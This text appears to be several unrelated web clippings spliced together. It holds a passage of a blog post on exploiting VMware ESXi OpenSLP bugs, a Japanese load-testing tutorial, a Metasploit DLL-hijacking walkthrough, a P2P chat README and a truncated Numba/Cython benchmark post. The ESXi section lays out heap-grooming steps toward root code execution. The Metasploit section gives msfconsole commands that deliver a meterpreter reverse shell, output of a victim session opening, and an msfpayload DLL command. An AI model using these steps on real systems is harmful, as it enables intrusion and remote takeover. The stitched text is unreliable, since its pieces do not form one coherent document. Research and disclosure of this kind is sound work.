26 | \_\_int64 \_\_fastcall ProcessDAAdvert\(\_\_int64 \*a1, \_\_int64 a2, \_QWORD \*a3, unsigned int a4\)   
27 | \{   
28 | // ...   
29 |  result = SLPDKnownDAAdd\(\(void \*\*\)a1, \(void \*\*\)a2\); // <\-- \(2\)   
30 | // ...   
31 | \}   
32 |   
33 | \_\_int64 \_\_fastcall SLPDKnownDAAdd\(void \*\*a1, void \*\*a2\)   
34 | \{   
35 | // ...   
36 |  v3 = \(const char \*\*\)\*a1;   
37 | // ...   
38 |  v12 = SLPDatabaseEntryCreate\(\(\_\_int64\)v3, \(\_\_int64\)v11\);   
39 |  if \( v12 \)   
40 |  \{   
41 |  SLPDatabaseAdd\(v4, v12\); // <\-- \(3\)   
42 |  return v5;   
43 |  \}   
44 | // ...   
45 | \}  
view raw CVE-2020-3992-snippet-1.cpp hosted with ❤ by GitHub

At \(3\), if a `SLP_FUNCT_DAADVERT` or `SLP_FUNCT_SRVREG` request is handled
correctly, it will save the allocated `SLPMessage` into the database. However,
at \(4\), the `SLPMessage` is freed even though the handled request returns
without error. It leaves a dangling pointer in the database. It is possible
the `free` at \(4\) was added in the course of fixing some older bugs.

**Bypassing the First Patch for CVE-2020-3992**

The first patch \(build-16850804\) by VMware was interesting. VMware didn’t
make any changes to the vulnerable code shown above. Instead, they added logic
to check the source IP address before handling the request. The logic, which
is in `IsAddrLocal()`, allows requests from a source IP address of localhost
only.

1 | \_BOOL8 \_\_fastcall IsAddrLocal\(\_\_int64 a1\)   
---|---  
2 | \{   
3 |  \_BOOL8 result; // rax   
4 |   
5 |  result = 0LL;   
6 |  if \( \!a1 \)   
7 |  return result;   
8 |  if \( \*\(\_WORD \*\)a1 == 2 \)   
9 |  return \*\(\_DWORD \*\)\(a1 + 4\) == 0x100007F;   
10 |  if \( \*\(\_WORD \*\)a1 == 10 \) // check sockaddr\_in.sin\_family == AF\_INET6   
11 |  result = \(\*\(\_DWORD \*\)\(a1 + 8\) & 0xC0FF\) == 0x80FE; // check the prefix of ip address   
12 |  return result;   
13 | \}  
view raw CVE-2020-3992-snippet-2.cpp hosted with ❤ by GitHub

After a few seconds, you might notice that it can still be accessed from an
IPv6 link-local address via the LAN.

**The Second Patch for CVE-2020-3992**

Just over two weeks later, the second patch \(build-17119627\) was released.
This time, they improved the IP source address check logic.

1 | \_BOOL8 \_\_fastcall IsAddrLocal\(\_\_int64 a1\)   
---|---  
2 | \{   
3 |  \_BOOL8 result; // rax   
4 |   
5 |  result = 0LL;   
6 |  if \( \!a1 \)   
7 |  return result;   
8 |  if \( \*\(\_WORD \*\)a1 == 2 \)   
9 |  return \*\(\_DWORD \*\)\(a1 + 4\) == 0x100007F;   
10 |  if \( \*\(\_WORD \*\)a1 == 10 && \!\*\(\_DWORD \*\)\(a1 + 8\) && \!\*\(\_DWORD \*\)\(a1 + 12\) && \!\*\(\_DWORD \*\)\(a1 + 16\) \)   
11 |  result = \*\(\_DWORD \*\)\(a1 + 20\) == 0x1000000;   
12 |  return result;   
13 | \}  
view raw CVE-2020-3992-snippet-3.cpp hosted with ❤ by GitHub

This change does eliminate the IPv6 vector. Additionally, they patched the
root cause of the UAF bug by clearing the pointer to the `SLPMessage` after
adding it to the database.

1 | \_\_int64 \_\_fastcall SLPDKnownDAAdd\(void \*\*a1, void \*\*a2\)   
---|---  
2 | \{   
3 | // ...   
4 |  v3 = \(const char \*\*\)\*a1;   
5 | // ...   
6 |  v12 = SLPDatabaseEntryCreate\(\(\_\_int64\)v3, \(\_\_int64\)v11\);   
7 |  if \( v12 \)   
8 |  \{   
9 |  \*a1 = 0LL; // clear the pointer so it won’t be freed   
10 |  SLPDatabaseAdd\(v4, v12\);   
11 |  return v5;   
12 |  \}   
13 | // ...   
14 | \}  
view raw CVE-2020-3992-snippet-4.cpp hosted with ❤ by GitHub

**The Heap Overflow Bug \(CVE-2021-21974\)**

Like the previous bug, this bug exists only in VMware’s implementation of SLP.
Here is the simplified pseudocode:

1 | \_\_int64 \_\_fastcall SLPParseSrvUrl\(int srvurllen, const char \*srvurl, \_QWORD \*a3\)   
---|---  
2 | \{   
3 | // ...   
4 |  obuf = calloc\(1uLL, srvurllen + 53LL\);   
5 |  if \( \!obuf \)   
6 |  return 12LL;   
7 |  v6 = strstr\(srvurl, ":/"\); // <\-- \(5\)   
8 |  if \( \!v6 \)   
9 |  \{   
10 |  free\(obuf\);   
11 |  return 22LL;   
12 |  \}   
13 |  memcpy\(\(char \*\)obuf + 41, srvurl, v6 - srvurl\); // <\-- \(6\)   
14 | // ...   
15 | \}  
view raw CVE-2021-21974-snippet-1.cpp hosted with ❤ by GitHub

At \(5\), `srvurl` comes from network input, but the function does not
terminate `srvurl` with a NULL byte before using `strstr()`. The out-of-bounds
string search leads to a heap overflow at \(6\). This happened because VMware
did not merge an update from the original OpenSLP project.

**The Patch for CVE-2021-21974**

Six weeks later, the third patch \(build- 17325551\) was released. It
addressed the root cause of the heap overflow bug by checking the length
before the `memcpy` at \(6\).

1 | \_\_int64 \_\_fastcall SLPParseSrvUrl\(int srvurllen, const char \*srvurl, \_QWORD \*a3\)   
---|---  
2 | \{   
3 | // ...   
4 |  v5 = srvurllen + 5;   
5 |  obuf = calloc\(1uLL, v5 + 48LL\);   
6 |  if \( \!obuf \)   
7 |  return 12LL;   
8 |  v6 = strstr\(srvurl, ":/"\);   
9 |  if \( \!v6 || v5 - 1 < \(unsigned \_\_int64\)\(v6 - srvurl\) \) // return with error if the length is too large   
10 |  \{   
11 |  free\(obuf\);   
12 |  return 22LL;   
13 |  \}   
14 | // ...   
15 | \}  
view raw CVE-2021-21974-snippet-2.cpp hosted with ❤ by GitHub

**Exploitation**

All Linux exploit mitigations are enabled for `/bin/slpd`, and most notably,
Position Independent Executables \(PIE\). This makes it difficult to achieve
code execution without first disclosing some addresses from memory. At first,
I considered using the UAF, but I could not figure out an effective method to
get a memory disclosure. Therefore, I moved my focus to the heap overflow bug
instead.

**Upgrading the Overflow**

SLP uses `struct SLPBuffer` to handle events that it sends and receives. One
`SLPBuffer* sendbuf` and one `SLPBuffer* recvbuf` are allocated for each
`SLPDSocket*` connection.

1 | typedef struct \_SLPBuffer  
---|---  
2 | \{   
3 |  SLPListItem listitem;   
4 |  size\_t allocated;   
5 |  unsigned char\* start;   
6 |  unsigned char\* curpos;   
7 |  unsigned char\* end;   
8 |  // buffer data is appended   
9 | \}\*SLPBuffer;   
10 |   
11 | typedef struct \_SLPDSocket  
12 | \{   
13 |  SLPListItem listitem;   
14 |  int fd;   
15 |  time\_t age;   
16 |  int state;   
17 | // ...   
18 |  SLPBuffer recvbuf; /\* Incoming socket stuff \*/  
19 |  SLPBuffer sendbuf;   
20 | // ...   
21 | \}SLPDSocket;  
view raw CVE-2021-21974-snippet-3.cpp hosted with ❤ by GitHub

The plan is to partially overwrite the `start` or `curpos` pointer in
SLPBuffer and leak some memory on the next message reply. However, the
`sendbuf` is emptied and updated before each reply. Fortunately, there is a
timeslot during which `sendbuf` can survive due to the select-based socket
model:

  1. Fill a socket send buffer without receiving until the send buffer is full.
  2. Partially overwrite `sendbuf->curpos` for that socket.
  3. Start to receive from the socket. The leaked memory will be appended at the end.

There are some additional challenges, though:

\-- Due to the use of strstr\(\), you cannot overflow with a NULL byte.  
\-- The overflowed buffer \(`obuf`\) will be automatically freed very soon
after the return of `SLPParseSrvUrl()`.

Together, this means that the overwrite can only extend partway through the
next chunk header. Otherwise, the size of the next free chunk will be set to a
very large value \(four non-NULL bytes\), and shortly after `obuf` is freed,
the process will abort.

The following layout overcomes these challenges:

Assume that the target is `sendbuf`. In \(F1\), each chunk marked “IN USE” can
be either a `SLPBuffer` or a `SLPDSocket`. A hole is prepared for `obuf` in
\(F2\). After triggering the overflow in \(F4\), the next freed chunk is
enlarged and overlapped onto the target. Next, `obuf` is then freed in \(F5\).
Now, you can allocate a new `recvbuf` from a new connection to overwrite the
target in \(F6\). This time the overwrite can include NULL bytes.

There is an additional problem:

\-- Many `malloc()` functions from OpenSLP are replaced with `calloc()` by
VMware.

The `recvbuf` in \(F6\) is also allocated from `calloc()`, which zero-
initializes memory. This means that partial pointer overwrites are not
possible when `recvbuf` overlaps the target. There is a trick to get around
that, though: You can first overwrite the `IS_MAPPED` flag on the freed chunk
in \(F4\). This causes `calloc()` to skip the zero initialization on the next
allocation. This is a general method that is useful in many situations where
you want to perform an overwrite on target.

Putting It All Together

  1. Overwrite a connection state `(connection->state)` as `STREAM_WRITE_FIRST`. This is necessary so that `sendbuf->curpos` will get reset to `sendbuf->start` in preparation for the memory disclosure.
  2. Partially overwrite `sendbuf->start` with 2 NULL bytes, where `sendbuf` belongs to the connection mentioned in step 1. Start receiving from the connection. You can then get memory disclosure, including the address of `sendbuf`.
  3. Overwrite `sendbuf->curpos` from a new connection to leak the address of a `recvbuf`, which is allocated from `mmap()`. Once you have an mmapped address, it becomes possible to infer the `libc` base address.
  4. Overwrite `recvbuf->curpos` from a new connection, setting it to the address of `free_hook`. Start sending on the connection. You can then overwrite `free_hook`.
  5. Close a connection, invoking `free_hook` to start the ROP chain.

These steps may not be the optimized form.

**Privilege Level Obtained**

If everything goes fine, you can execute arbitrary code with root permission
on the target ESXi system. In ESXi 7, a new feature called DaemonSandboxing
was prepared for SLP. It uses an AppArmor-like sandbox to isolate the SLP
daemon. However, I find that this is disabled by default in my environment.

1 | \[root@localhost:~\] python /usr/lib/vmware/feature-state/feature-state-wrapper.py DaemonSandboxing   
---|---  
2 | disabled  
view raw CVE-2021-21974-snippet-5.console hosted with ❤ by GitHub

This suggests that a sandbox escape stage will be required in the future.

**Conclusion**

VMware ESXi is a popular infrastructure for cloud service providers and many
others. Because of its popularity, these bugs may be exploited in the wild at
some point. To defend against this vulnerability, you can either apply the
relevant patches or implement the workaround. You should consider applying
both to ensure your systems are adequately protected. Additionally, VMware now
recommends disabling the OpenSLP service in ESXi if it is not used.

We look forward to seeing other methods to exploit these bugs as well as other
ESXi vulnerabilities in general. Until then, you can find me on Twitter
@\_wmliang\_, and follow the team for the latest in exploit techniques and
security patches.

  * VMware
  * ESXi
  * Exploit

BACK TO THE BLOG

Share

###  CVE-2021-22909- Digging into a Ubiquiti Firmware Update bug

Ubiquiti, Wireless, Research

###  CVE-2021-31166: A Wormable Code Execution Bug in HTTP.sys

Microsoft, IIS, Research

###  The May 2021 Security Update Review

Adobe, Microsoft, Security Patch

# Siege でお手軽 Web 負荷テスト（3）〜 fluentd + dstat + graphite でお手軽可視化 〜 - Qiita

**Created:**| _1/17/2015 11:17:02 AM_  
---|---  
**Updated:**| _1/17/2015 11:17:02 AM_  
**Author:**| __  
**Tags:**| __  
  

# Siege でお手軽 Web 負荷テスト（3）〜 fluentd + dstat + graphite でお手軽可視化 〜

どうも、かっぱです。

##  引き続き...

Siege でお手軽 Web 負荷テストシリーズ宜しくです。

* * *
##  負荷テストの観点（超私的）

超私的な負荷テストのざっくりとした観点です。

  * どんな負荷を掛けたか？
  * そして、その結果は？
  * テスト対象のリソース変化は？

これらを全て fluentd と Graphite を利用して可視化してしまいたいと思います。

* * *
##  どんな負荷を掛けたか？、そしてその結果は？

Siege を利用して連続的に負荷を掛けます。

###  siege

以下のように実行して負荷を掛けます。

[code]

    /usr/local/bin/siege -c 100 -r 1 --time=10m --log=/tmp/siege_log --benchmark https://example.inokara.com/
    
[/code]

siege に関して過去に書いた記事を御覧くださいませ。

###  siege + fluentd + in\_tail

siege のログ（/tmp/siege\_log）は以下のようなログが出力されます。

[code]

          Date & Time,  Trans,  Elap Time,  Data Trans,  Resp Time,  Trans Rate,  Throughput,  Concurrent,    OKAY,   Failed
    2014-08-26 04:43:48,   4440,      17.14,           1,       0.32,      259.04,        0.06,       83.42,    4440,       0
    
[/code]

そしてこのログを以下のような fluentd の設定で監視しちゃいます。

siege.conf

[code]

    <source>
      type tail
      path /tmp/siege_log
      pos_file /tmp/test.pos
      tag siege.access
      format /^(?<date>(\d{4})-(\d{2})-(\d{2}) (\d{2}:)(\d{2}):(\d{2})),\s{0,}(?<Trans>\d+(\.\d+)?),\s{0,}(?<Elap_Time>\d+(\.\d+)?),\s{0,}(?<Data_Trans>\d+(\.\d+)?),\s{0,}(?<Resp_Time>\d+(\.\d+)?),\s{0,}(?<Trans_Rate>\d+(\.\d+)?),\s{0,}(?<Throughput>\d+(\.\d+)?),\s{0,}(?<Concurrent>\d+(\.\d+)?),\s{0,}(?<OKAY>\d+),\s{0,}(?<Failed>\d+)$/
      time_format %Y-%m-%d %H:%M:%S
    </source>
    
    <match siege.access>
      type copy
      <store>
        type forward
        <server>
          host xxx.xxx.xxx.xxx
          port 24224
        </server>
      </store>
      <store>
        type file
        path /tmp/siege_log.parsed
      </store>
    
[/code]

正規表現がツライっす。

* * *
##  テスト対象のリソース変化は？

テスト対象のリソース変化は dstat を利用します。

###  dstat + fluent-plugin-dstat で...

テスト対象となるサーバーでは以下のように dstat のメトリクスを fluentd を利用して Graphite サーバーに飛ばします。

dstat.conf

[code]

    <source>
      type dstat
      tag dstat
      option -d -lcm --tcp
      delay 3
    </source>
    
    <match dstat>
      type forest
      subtype copy
      <template>
        <store>
          type map
          tag "dstat.${hostname}.cpu"
          time time
          record record['dstat']['total cpu usage']
        </store>
    
        <store>
          type map
          tag "dstat.${hostname}.mem"
          time time
          record record['dstat']['memory usage']
        </store>
    
         <store>
           type map
           tag "dstat.${hostname}.tcp-sockets"
           time time
           record record["dstat"]["tcp sockets"]
         </store>
    
         <store>
           type map
           tag "dstat.${hostname}.disk-io"
           time time
           record record["dstat"]["dsk/total"]
         </store>
      </template>
    </match>
    
    <match dstat.**>
      type forward
      buffer_type file
      buffer_path /tmp/fluent.dstat.buffer
      retry_wait 30s
      retry_limit 5
      flush_at_shutdown true
      <server>
        host xxx.xxx.xxx.xxx
        port 24224
      </server>
    </match>
    
[/code]

###  dstat + fluent-plugin-dstat の結果を Graphite で可視化

dstat + fluent-plugin-dstat から以下のようにレコードが飛んできます。

[code]

    2014-08-30 08:11:46 +0900 dstat.xxx.xxx.xxx.xxx.tcp-sockets: {lis,act,syn,tim,clo}
    2014-08-30 08:08:43 +0900 dstat.xxx.xxx.xxx.xxx.disk-io: {"read":"0.0","writ":"51882.667"}
    2014-08-30 08:13:48 +0900 dstat.xxx.xxx.xxx.xxx.mem: {"used":"2553696256.0","buff":"29032448.0","cach":"722718720.0","free":"646238208.0"}
    2014-08-30 08:13:48 +0900 dstat.xxx.xxx.xxx.xxx.cpu: {usr,sys,idl,wai,hiq,siq}
    
[/code]

このレコードを以下のようにして Graphite に飛ばします。各メトリクス毎に fluent-plugin-graphite
を呼んでいるのでもう少し効率良い設定がないものかお悩み中。

metrics.conf

[code]

    <source>
      type forward
      port 24224
      bind 0.0.0.0
    </source>
    
    <match dstat.*.cpu>
      type copy
        <store>
          type  stdout
        </store>
    
        <store>
          type graphite
          host localhost
          port 2003
          tag_for prefix
          name_keys usr,sys,idl,wai,hiq,siq
        </store>
    
    </match>
    
    <match dstat.*.tcp-sockets>
      type copy
        <store>
          type  stdout
        </store>
    
        <store>
          type graphite
          host localhost
          port 2003
          tag_for prefix
          name_keys lis,act,syn,tim,clo
        </store>
    
    </match>
    
    <match dstat.*.disk-io>
      type copy
        <store>
          type  stdout
        </store>
    
        <store>
          type graphite
          host localhost
          port 2003
          tag_for prefix
          name_keys read,writ
        </store>
    
    </match>
    
    <match dstat.*.mem>
      type copy
        <store>
          type  stdout
        </store>
    
        <store>
          type graphite
          host localhost
          port 2003
          tag_for prefix
          name_keys used,buff,cach,free
        </store>
    
    </match>
    
    
    <match siege.**>
      type forest
      subtype copy
      <template>
        <store>
          type  growthforecast
          gfapi_url http://127.0.0.1:5125/api/
          service ${tag_parts[0]}
          tag_for section
          name_key_pattern .*
        </store>
    
        <store>
          type graphite
          host localhost
          port 2003
          key_prefix siege.${tag_parts[0]}
          name_keys Trans,Elap_Time,Data_Trans,Resp_Time,Trans_Rate,Throughput,Concurrent,OKAY,Failed
        </store>
    
      </template>
    </match>
    
[/code]

* * *
##  暫くすると...

以下のようにリソースの状態が Graphite に...

<img src='img/Temp2_7506.png' alt='2014083002.png' />

###  Memory

<img src='img/Temp2_7508.png' alt='2014083004.png' />

###  Disk I/O

<img src='img/Temp2_7509.png' alt='2014083003.png' />

###  TCP Scoket

<img src='img/Temp2_7507.png' alt='2014083001.png' />

Siege について後ほど...

* * *
##  ということで...

fluentd を中心に各種ツールのログをかき集めて負荷テストをお手軽可視化してみました。JMeter のような多機能ではないものガッツリ JMeter
用のリソースを用意することが難しいような場合にサーバーで一般的に動いている（fluentd
を含め）ツールで負荷テスト、結果の可視化まで出来るんぢゃないかしらというご提案でした！

# Metasploit: Exploiting DLL Hijacking Flaws

**Created:**| _8/24/2010 12:17:15 PM_  
---|---  
**Updated:**| _8/24/2010 12:17:15 PM_  
**Author:**| _wishi_  
**Tags:**| _windows security Exploit DLL_  
  

## Sunday, August 22, 2010

### Exploiting DLL Hijacking Flaws

This post describes the process for identifying and exploiting applications
vulnerable to the DLL hijack vulnerability disclosed last week. For background
information on this vulnerability, as well as remediation information, please
see my post on the Rapid7 Blog.  
  
This vulnerability is triggered when a vulnerable file type is opened from
within a directory controlled by the attacker. This directory can be a USB
drive, an extracted archive, or a remote network share. In most cases, the
user will have to browse to the directory and then open the target file type
for this exploit to work. The file opened by the user can be completely
harmless, the flaw is that the application launched to handle the file type
will inadvertently load a DLL from the working directory.  
  
In practice, this flaw can be exploited by sending the target user a link to a
network share containing a file they perceive as safe. iTunes, which was
affected by this flaw until last week, is associated with a number of media
file types, and each of these would result in a specific DLL being loaded from
the same directory as the opened file. The user would be presented with a link
in the form of **\\\server\movies\** and a number of media files would be
present in this directory. If the user tries to open any of these files,
iTunes would search the remote directory for one or more DLLs and then load
these DLLs into the process. If the attacker supplied a malicious DLL
containing malware or shellcode, its game over for the user.  
  
Earlier this year, Taeho Kwon and Zhendong Su of the University of California,
Davis, published a paper titled Automatic Detection of Vulnerable Dynamic
Component Loadings. This paper describes the different variants of DLL
hijacking and Table IV of this paper contains list of vulnerable applications.
They identified the exact same issues I ran into when working on the Windows
Shortcut exploit, and although they omitted network shares as a vector, they
did cover both carpet bombing and archive files. Kwon and Su developed a test
harness to detect the vulnerable applications through instrumentation, however
the associated code is not public at this time.  
  
To determine the extent of the problem, I developed a quick and dirty audit
kit that leverages the Process Monitor utility and the Ruby interpreter. This
kit will turn a desktop PC into a game of whack-a-mole by launching the file
handlers for every registered file type, while recording whether or not a DLL
was accessed within the working directory of the associated file. After the
audit phase is complete, the **generate.rb** script can be used to create test
cases that will validate each result. Clicking through the test cases will
lead to the Calculator being launched when the result is exploitatable and
nothing when it is not.  
  
To use this kit, first grab a copy from this URL. Extract this into a
directory on the system that you want to test. Next, grab a copy of Process
Monitor \(procmon.exe\) and copy the procmon.exe binary into the
DLLHijackAuditKit directory. Launch the Process Monitor, accept the EULA, and
close it out. Next, install the Ruby interpreter into the target system.
Download Ruby 1.9.1-p430 and install it normally. Finally, from the Start
menu, launch the "**Start Command Prompt with Ruby** " link. From this shell,
change into the DLLHijackAuditKit directory.  
  
At this point, run "**ruby audit.rb** " and get ready to close about a
thousand pop-up windows. Every 50 file types, the script will pause until you
hit enter within the command shell window. This process takes about 10-15
minutes depending on the speed of your system and the dexterity of your
mousing arm. After each pass, make sure you close all open Windows except for
the command shell itself and the ProcMon process. After the script finishes
with all registered file extensions, you will need to export a CSV log from
ProcMon. To do this:  
  
1\. Access the "Save" item from the File menu in ProcMon  
  
2\. Make sure the "Events displayed using current filter" box is checked  
  
3\. Make sure the "Include profiling events" box is unchecked  
  
4\. Make sure you choose "Comma-Separated Values" as the format  
  
5\. Save the log file into into DLLTest\results.csv  
  
Next, we will generate a directory of proof-of-concept files for validating
the results. From the Ruby command-shell, change into the DLLTest subdirectory
and run "**ruby generate.rb** "  
  
Finally, open Windows Explorer to the DLLTest\exploits subdirectory. A file
called "exploit.\[ext\]" will be created for every potentially exploitable
file type. Verify that no applications are running in the background and click
each file type, closing the application before the next test. If the
application is vulnerable, a Calculator window will appear.  
  
Once you have a list of affected file extensions, you can use the generic
exploit module within the Metasploit Framework to exploit these.  
  
Install the latest version of the Metasploit Framework and perform an Online
Update \(msfupdate on Linux\) to get revision 10065 or newer. Start the
Metasploit Console as **root** and run the following commands. On Windows, the
module requires you to enable a firewall for ports 139 and 445, otherwise the
target will attempt to connect via SMB instead of WebDAV.  
  

[code]

    $ **msfconsole**  
     msf > **use exploit/windows/browser/webdav_dll_hijacker**  
     msf exploit(webdav_dll_hijacker) > **set EXTENSIONS "ext1 ext2 ext3 ext4"**     
    msf exploit(webdav_dll_hijacker) > **set PAYLOAD windows/meterpreter/reverse_tcp**   
    msf exploit(webdav_dll_hijacker) > **set LPORT 9999**   
    msf exploit(webdav_dll_hijacker) > **set LHOST (your IP address)**   
    msf exploit(webdav_dll_hijacker) > **exploit**   
      
    [*] Started reverse handler on 192.168.0.226:4444   
    [*]   
    [*] Exploit links are now available at \\192.168.0.226\documents\  
    [*]   
    [*] Using URL: http://0.0.0.0:80/  
    [*]  Local IP: http://192.168.0.226:80/  
    [*] Server started.
    
[/code]

  
  
Now that the exploit is running, send the vulnerable client to the network
share listed. Once the user double-clicks a file from within this share, you
should see a session appear in the Metasploit console:  
  

[code]

    [*] 192.168.0.184:1153 PROPFIND /DOCUMENTS/  
    [*] 192.168.0.184:1153 PROPFIND => 207 Directory (/DOCUMENTS/)  
    [*] 192.168.0.184:1153 PROPFIND => 207 Top-Level Directory  
    [*] 192.168.0.184:1151 PROPFIND /DOCUMENTS  
    [*] 192.168.0.184:1151 PROPFIND => 301 (/DOCUMENTS)  
    [*] 192.168.0.184:1151 PROPFIND /DOCUMENTS/  
    [*] 192.168.0.184:1151 PROPFIND => 207 Directory (/DOCUMENTS/)  
    [*] 192.168.0.184:1151 PROPFIND => 207 Top-Level Directory  
    [*] Meterpreter session 1 opened (192.168.0.226:4444 -> 192.168.0.184:1154)...  
      
    msf exploit(webdav_dll_hijacker) > **sessions -i 1**  
    [*] Starting interaction with 1...  
      
    meterpreter > **getuid**  
     Server username: WINXP\Developer
    
[/code]

  
  
If you are trying to determine whether an application is exploitable or need
to examine the DLL loading process in minute detail, use WinDbg with gflags to
enable Loader Snapshots. After installing WinDbg, change to the installation
directory from within a command shell and run **" gflags /i NameOfTarget.exe
+sls**"  
  
After the flags have been set, use WinDbg to launch the application,
specifying the working directory and the file to actually open. The output
within WinDbg will make it clear whether or not a particular DLL is being
loaded and if so, whether the initialization function is actually being
called. This is a great way to be absolutely sure that a particular
application is or is not vulnerable. When you are finished, disable Loader
Snapshots with **" gflags /i NameOfTarget.exe -sls**"  
  
In addition to the standard DLL load, there are some interesting corner cases
found by the audit kit, although they require manual review to identify.  
  
1\) If the application is trying to load a DLL that is normally found within
the PATH, but not the Windows system directories, and the PATH contains
environment variables that have not been set, then the literal value of the
environment variable will be treated as sub-directory of the working directory
\(the share\). For example, if %unknownvariable%\bin is in the system PATH,
the share will be searched for a directory called “%unknownvariable%\bin” and
the target DLL will be loaded from within this sub-directory.  
  
2\. If the application tries to load a DLL whose name consists of a NULL, it
will search for a file named ".DLL". This is exploitable in most cases and
affects at least one Microsoft product.  
  
3\. Some applications will actually load and run executables from the working
directory. The audit kit generates test cases for these as well using a binary
that launches the calculator.  
  
4\. Applications using certain windowing and plugin libraries will validate
that the DLL in question has a certain exported symbol before loading it. This
will become obvious when you see the "missing symbol" error message after
opening the generated test case. These are almost always exploitable.  
  
5\. If the application loads a configuration file \(INI or otherwise\) from
the working directory, this can also be exploitable. A few instances of this
have already been uncovered, in one case where the DLL that loads the INI file
is injected into unrelated applications, making them vulnerable as well.  
  
6\. Some applications will require the DLL to be signed. These applications
only validate that the signature was authorized by a trusted code signing root
and a $200 code signing key is all you need to exploit these.  
  
7\. In at least one instance, a .NET DLL is loaded with full privileges. A
normal native DLL will be rejected, but a crafted .NET DLL can be used to
exploit these types of applications.  
  
One final note, the **msfpayload** utility in the Metasploit Framework can now
be used to generate DLL payloads. A quick example of this is below:  
  

[code]

    **msfpayload windows/exec CMD=calc.exe D > test.dll**
    
[/code]

# danoctavian/bluntly

**Created:**| _6/5/2015 1:08:10 PM_  
---|---  
**Updated:**| _6/5/2015 1:08:10 PM_  
**Author:**| __  
**Tags:**| _botnets backdoor p2p_  
  

# bluntly

talk to whoever, wherever safely with no bullshit

Bluntly allows you to setup a secure connection to a peer by only knowing its
public key \(and it knowing yours\).

No servers needed, no NAT getting in the way. It's a POC \(proof-of-concept\)
so don't start talking with snowden with this.

<img src='https://github.com/danoctavian/bluntly/raw/master/docs/chat-
diagram.png' alt='alt text' />

Disclaimer: there's no really clever ideas here, i'm just stiching some things
together. It's a hacky implementation \(I can't justify myself for this, it
just felt good to screw around in javascript\).

  * exchange pub keys with your partner \(i don't know how, figure it out\)
  * client looks up listener in bittorrent DHT by his pubkey \(Lpk\) using info\_hash = sha1\(Lpk\)
  * once you it has its IP, connect \(if there's a NAT in the way, just penetrate it. see how below\)
  * client sends encrypted handshake \(with RSA pub key\) to listener containing your curve25519 pub key 
  * listener responds with its curve25519 pub key in a handshake response encrypted with your RSA pubkey
  * both do Diffie hellman and derive shared secret. encrypt all messages from here on using that.

### RUN IT

Install dependencies.

  * nodejs https://nodejs.org/download/

Get code dependencies:

[code]

     node-bluntly
    npm install 
[/code]

for a quick run, use the RSA key pair checked in the repo for both parties.
Get 2 machines and do

Go to the test-data directory:

[code]

     -data
[/code]

For the server:

[code]

    node ../index.js -s 5678 # or whatever ports you want to listen on
[/code]

For the client:

[code]

    node ../index.js -c myself
[/code]

Obviously the above is not secure, because the private key is in the open.

### RUNTIME REQUIREMENTS

bluntly expects you provide with a config file containing:

[code]

    {
      dhtPort 20000, // the port 
      ownKey { mypub.rsa,  mypriv.rsa}, // filepaths to your pub and private rsa keys
       myself, // your bluntly name
      contactsDir contacts, // the path of the directory containing your friends' pub keys
      // if you're holepunching through NAT, the port you want other peers to UDP connect to
      // if it's not specified, hole punch will not be attempted at all and it will fail if 
      // no direct TCP connection is possible
      holePunch {recvPort 23456}  
    }
[/code]

If you don't explicitly specify a path to a config file with
--config=myconfigfile it will look for a file _blunt-conf.json_ in the current
directory and use that as a config file.

**contactsDir** contains a json file called _index.json_ which specifies a
mapping from friend ids to the file containing their pub key in the
contactsDir directory \(it's a relative path\) as such

[code]

    {
      yourmom mom.rsa,
      yourdad dad.rsa,
      myself myself.rsa
    }
[/code]

A good example is the test-data directory, containing a conf file and a
contacts dir.

### NAT penetration

Client notifies listener of interest to connect by announcing itself to
rendezvous\_info\_hash = reverse\(sha1\(Spk\)\) \(the reverse function is kind
of arbitrary\)

Listener constantly polls the bittorrent DHT for peers announced
rendezvous\_info\_hash . Learns about the intention of a peer to connect.

They both know each other's IPs and proceed to do UDP NAT penetration as done
by chownat.

once the hole punch succeeds, the 2 parties switch to UTP protocol running
over UDP for reliability.

What would be nice: not have the rendezvous info hash and use the technique
presented used by pwnat

### Motivation

Just wanted smth to easily use without making accounts here and there and
having end to end encryption.

I wanted to hack something in javascript to see how it's like to build
prototypes with it.

# Numba vs Cython - Pythonic Perambulations

**Created:**| _8/26/2012 8:23:59 PM_  
---|---  
**Updated:**| _8/26/2012 8:23:59 PM_  
**Author:**| __  
**Tags:**| __  
  

# Numba vs Cython

Aug 24th, 2012

| Comments

Often I’ll tell people that I use python for computational analysis, and they
look at me inquisitively. “Isn’t python pretty slow?” They have a point.
Python is an interpreted language, and as such cannot natively perform many
operations as quickly as a compiled language such as C or Fortran. There is
also the issue of the oft-misunderstood and much-maligned GIL, which calls
into question python’s ability to allow true parallel computing.

Many solutions have been proposed: PyPy is a much faster version of the core
python language; numexpr provides optimized performance on certain classes of
operations from within python; weave allows inline inclusion of compiled C/C++
code; cython provides extra markup that allows python and/or python-like code
to be compiled into C for fast operations. But a naysayer might point out:
many of these “python” solutions in practice are not really python at all, but
clever hacks into Fortran or C.

I personally have no problem with this. I like python because it gives me a
nice work-flow: it has a clean syntax, I don’t need to spend my time hunting
down memory errors, it’s quick to try-out code snippets, it’s easy to wrap
legacy code written in C and Fortran, and I’m much more productive when
writing python vs writing C or C++. Numpy, scipy, and scikit-learn give me
optimized routines for most of what I need to do on a daily basis, and if
something more specialized comes up, cython has never failed me. Nevertheless,
the whole setup is a bit clunky: why can’t I have the best of both worlds: a
beautiful, scripted, dynamically typed language like python, with the speed of
C or Fortran?

In recent years, new scripted languages like go and julia have popped up which
try to address some of these issues. Julia in particular has a number of nice
properties \(see the talk from Scipy 2012 for a good introduction\) and uses
LLVM to enable just-in-time \(JIT\) compilation and achieve some impressive
benchmarks. Julia holds promise, but I’m not yet ready to abandon the
incredible code-base and user-base of the python community.

Enter numba. This is an attempt to bring JIT compilation cleanly to python,
using the LLVM framework. In a recent post, one commenter pointed out numba as
an alternative to cython. I had heard about it before \(See Travis Oliphant’s
scipy 2012 talk here\) but hadn’t had the chance to try it out until now.
Installation is a bit involved, but the directions on the numba website are
pretty good.

To test this out, I decided to run some benchmarks using the pairwise distance
function I’ve explored before \(see posts here and here\).

### Pure Python Version

The pure python version of the function looks like this:

[code]

    123456789101112
[/code]

|

[code]

    import numpy as npdef pairwise_python(X, D):    M = X.shape[0]    N = X.shape[1]    for i in range(M):        for j in range(M):            d = 0.0            for k in range(N):                tmp = X[i, k] - X[j, k]                d += tmp * tmp            D[i, j] = np.sqrt(d)
[/code]  
---|---  
Not surprisingly, this is very slow. For an array consisting of 1000 points in
three dimensions, execution takes over 12 seconds on my machine:

[code]

    12345
[/code]

|

[code]

